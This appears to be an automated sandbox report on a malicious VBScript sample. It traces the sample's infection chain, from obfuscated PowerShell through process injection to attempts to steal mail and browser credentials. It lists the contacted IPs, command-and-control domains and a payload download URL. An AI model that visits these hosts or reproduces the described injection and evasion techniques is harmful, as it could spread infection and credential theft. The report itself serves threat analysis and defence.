behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1430738 Sample: Pedido02304024.vbs Startdate: 24/04/2024 Architecture: WINDOWS Score: 100 49 www.tyaer.com 2->49 51 www.theplays.shop 2->51 53 2 other IPs or domains 2->53 67 Snort IDS alert for network traffic 2->67 69 Multi AV Scanner detection for domain / URL 2->69 71 Malicious sample detected (through community Yara rule) 2->71 73 6 other signatures 2->73 12 wscript.exe 1 2->12         started        15 wab.exe 3 1 2->15         started        17 wab.exe 1 2->17         started        19 rundll32.exe 2->19         started        signatures3 process4 signatures5 99 VBScript performs obfuscated calls to suspicious functions 12->99 101 Suspicious powershell command line found 12->101 103 Wscript starts Powershell (via cmd or directly) 12->103 105 3 other signatures 12->105 21 powershell.exe 14 19 12->21         started        process6 dnsIp7 55 87.121.105.163, 49731, 49737, 80 NET1-ASBG Bulgaria 21->55 79 Suspicious powershell command line found 21->79 81 Very long command line found 21->81 83 Found suspicious powershell code related to unpacking or dynamic code loading 21->83 25 powershell.exe 17 21->25         started        28 conhost.exe 21->28         started        30 cmd.exe 1 21->30         started        signatures8 process9 signatures10 93 Writes to foreign memory regions 25->93 95 Found suspicious powershell code related to unpacking or dynamic code loading 25->95 97 Hides threads from debuggers 25->97 32 wab.exe 6 25->32         started        35 cmd.exe 1 25->35         started        process11 signatures12 63 Maps a DLL or memory area into another process 32->63 65 Hides threads from debuggers 32->65 37 NJtMZOnjgWDVLdkRCPxthGxX.exe 32->37 injected process13 signatures14 75 Maps a DLL or memory area into another process 37->75 77 Found direct / indirect Syscall (likely to bypass EDR) 37->77 40 AtBroker.exe 1 13 37->40         started        process15 signatures16 85 Tries to steal Mail credentials (via file / registry access) 40->85 87 Tries to harvest and steal browser information (history, passwords, etc) 40->87 89 Modifies the context of a thread in another process (thread injection) 40->89 91 2 other signatures 40->91 43 NJtMZOnjgWDVLdkRCPxthGxX.exe 40->43 injected 47 firefox.exe 40->47         started        process17 dnsIp18 57 www.tyaer.com 47.91.88.207, 49739, 80 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC United States 43->57 59 www.theplays.shop 172.67.152.117, 49742, 49743, 49744 CLOUDFLARENETUS United States 43->59 61 www.oyoing.com 127.0.0.1 unknown unknown 43->61 107 Found direct / indirect Syscall (likely to bypass EDR) 43->107 signatures19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
87.121.105.163
 unknown Bulgaria
43561 NET1-ASBG false
172.67.152.117
 www.theplays.shop United States
13335 CLOUDFLARENETUS true
47.91.88.207
 www.tyaer.com United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
www.oyoing.com 127.0.0.1 true
www.tyaer.com 47.91.88.207 true
www.theplays.shop 172.67.152.117 true
www.megabet303.lol unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.theplays.shop/gnbc/ true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.theplays.shop/gnbc/?qRm=CFA+HkVxdb5EmOTiyKOWRwF+pLrZo+HX//sAjaoe71zU1jru2C8H4zHuCGW9CrkOmabuxLOltM6mSwZ40cUWhJKDDEbSgCXb2jOP4Eqmg9UuBFGRNSISgVk=&ALLPg=JbKtchOp7P4H8n8 true
  • Avira URL Cloud: safe
 unknown
http://87.121.105.163/fBizb192.bin false
  • 18%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown